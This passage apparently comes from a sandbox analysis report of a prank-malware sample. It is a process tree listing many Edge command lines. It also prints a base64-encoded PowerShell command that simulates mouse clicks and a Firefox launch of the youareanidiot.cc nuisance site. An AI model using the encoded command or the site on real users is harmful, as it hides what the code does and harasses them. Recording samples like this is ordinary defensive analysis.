        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3532,i,1564532243192439124,7754686265217825318,2097152 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=3608 /prefetch:1
        5⤵
        
        PID:4576
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4296,i,11710479946826457707,15585974727870556648,2097152 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=4816 /prefetch:1
        5⤵
        
        PID:4864
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4312,i,9609694389055013260,6006189457771149462,2097152 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=3516 /prefetch:9
        5⤵
        
        PID:5880
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5436,i,11461176079589339607,7572872885484427904,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=3752 /prefetch:14
        5⤵
        
        PID:1376
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3716,i,11093926786473920135,12880996986864416908,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=5564 /prefetch:12
        5⤵
        
        PID:3892
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5720,i,9977929426664952384,15857467912296316397,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=5800 /prefetch:14
        5⤵
        
        PID:2344
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5728,i,17891352202177667166,3658581438606012473,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=5808 /prefetch:14
        5⤵
        
        PID:3832
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=6232,i,16880852918919703615,3952265235655630323,2097152 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=6228 /prefetch:1
        5⤵
        
        PID:2636
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6588,i,13032425815204337598,11317205481340695950,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=6608 /prefetch:14
        5⤵
        
        PID:6900
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6588,i,13032425815204337598,11317205481340695950,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=6608 /prefetch:14
        5⤵
        
        PID:6568
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=620,i,1093502426480692020,8769794213373237238,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=6944 /prefetch:14
        5⤵
        
        PID:8404
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=5092,i,16389514719574363443,10237739517958941555,2097152 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=6716 /prefetch:1
        5⤵
        
        PID:8344
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6380,i,9853413813528285447,13312528570252793193,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=6876 /prefetch:14
        5⤵
        
        PID:8420
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6248,i,16471126470806216188,12791893415022318408,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=5100 /prefetch:14
        5⤵
        
        PID:8724
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --metrics-shmem-handle=6856,i,9223473406617521184,11859607437760542860,2097152 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=6864 /prefetch:1
        5⤵
        
        PID:8748
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6876,i,3565124715795373340,15263056365826144732,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=7120 /prefetch:14
        5⤵
        
        PID:2448
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7276,i,9896292818742880721,2475088716190147606,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=7280 /prefetch:14
        5⤵
        
        PID:8164
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5152,i,5278985069683906863,8313357997791513154,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=1276 /prefetch:14
        5⤵
        
        PID:8288
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6472,i,6373608032168603345,2375416979857012498,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=7440 /prefetch:14
        5⤵
        
        PID:9080
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5952,i,12781972876440430829,6877311160931926331,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=5720 /prefetch:14
        5⤵
        
        PID:8600
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=824,i,15999473088841808841,13419290121396386231,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=6036 /prefetch:14
        5⤵
        
        PID:8416
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7372,i,5694935036359412205,8650853309603394939,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=7376 /prefetch:14
        5⤵
        
        PID:2668
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6816,i,5272397856584226904,7702442080268149715,262144 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=6036 /prefetch:10
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6236
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5332,i,14006567297483701770,10665767298638057816,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=6876 /prefetch:14
        5⤵
        
        PID:9044
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=724,i,17997296014245453336,1396144753750032194,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=7372 /prefetch:14
        5⤵
        
        PID:3228
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6756,i,6411362045551567845,15465665874519384843,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=5368 /prefetch:14
        5⤵
        
        PID:4032
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5856,i,7728289521992040447,10754131142511813183,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=5900 /prefetch:14
        5⤵
        
        PID:3104
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6092,i,15931851480252115043,20145336037466570,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=6148 /prefetch:14
        5⤵
        
        PID:5364
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7440,i,17852440120858036264,10802179568614127382,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=6488 /prefetch:14
        5⤵
        
        PID:5612
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7264,i,4473112609725774419,17384959317569714066,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=7440 /prefetch:14
        5⤵
        
        PID:9144
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7568,i,11988559453811923840,10110711156306014524,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=5904 /prefetch:14
        5⤵
        
        PID:6212
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6028,i,14308774800293940406,9388145291986589268,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=3844 /prefetch:14
        5⤵
        
        PID:5292
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5916,i,6758710077432717488,1765503386984723771,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=5856 /prefetch:14
        5⤵
        
        PID:4564
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5936,i,17882798413081811106,13690647268501984107,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=6116 /prefetch:14
        5⤵
        
        PID:2644
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5756,i,17739035205270267561,1283349420679016230,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=2680 /prefetch:14
        5⤵
        
        PID:6752
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7384,i,13859756769907603703,6739054295405199916,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=3472 /prefetch:14
        5⤵
        
        PID:5828
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3004,i,7426439708668166227,5015137201463257493,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=3460 /prefetch:14
        5⤵
        
        PID:3980
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6000,i,5558699407998577570,10913537596928904747,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=7384 /prefetch:14
        5⤵
        
        PID:4152
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5840,i,17281721420045761057,15885175184098774546,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=7604 /prefetch:14
        5⤵
        
        PID:7584
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2612,i,14058523242121345828,13551733375887014383,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=6044 /prefetch:14
        5⤵
        
        PID:9108
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7216,i,6318051523617059308,1353636184608965279,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=6140 /prefetch:14
        5⤵
        
        PID:4048
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2172,i,8871135721364259788,6866803052880964130,524288 --field-trial-handle=2208,i,14664241528317291118,9671821962922354453,262144 --variations-seed-version --mojo-platform-channel-handle=5932 /prefetch:14
        5⤵
        
        PID:4120
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where firefox
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3892
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1516
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        Drops desktop.ini file(s)
        Checks processor information in registry
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4328
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1924 -prefsLen 27097 -prefMapHandle 1928 -prefMapSize 270279 -ipcHandle 2012 -initialChannelId {7e2b45b4-b855-43dd-8c09-b43cc8a78208} -parentPid 4328 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4328" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        6⤵
        
        PID:120
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2388 -prefsLen 27133 -prefMapHandle 2392 -prefMapSize 270279 -ipcHandle 2400 -initialChannelId {ce55394c-c914-4c01-85ff-9029e7c765e9} -parentPid 4328 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4328" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        6⤵
        
        PID:2524
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2684 -prefsLen 25164 -prefMapHandle 2980 -prefMapSize 270279 -jsInitHandle 3112 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2780 -initialChannelId {92a693ac-d1e7-487e-ace5-0a650cd1663b} -parentPid 4328 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4328" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
        6⤵
        Checks processor information in registry
        
        PID:6928
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3956 -prefsLen 27274 -prefMapHandle 3960 -prefMapSize 270279 -ipcHandle 3980 -initialChannelId {37a26648-dbac-42f4-9e69-99d4d8b3f823} -parentPid 4328 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4328" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
        6⤵
        
        PID:7000
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4304 -prefsLen 34876 -prefMapHandle 4308 -prefMapSize 270279 -jsInitHandle 4312 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4284 -initialChannelId {4a026221-7c7c-4012-9f23-b766f2d0d433} -parentPid 4328 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4328" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
        6⤵
        Checks processor information in registry
        
        PID:6804
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4700 -prefsLen 32819 -prefMapHandle 4704 -prefMapSize 270279 -jsInitHandle 4708 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4716 -initialChannelId {befd4322-86e6-4a17-a65e-d2ca87d73ace} -parentPid 4328 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4328" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
        6⤵
        Checks processor information in registry
        
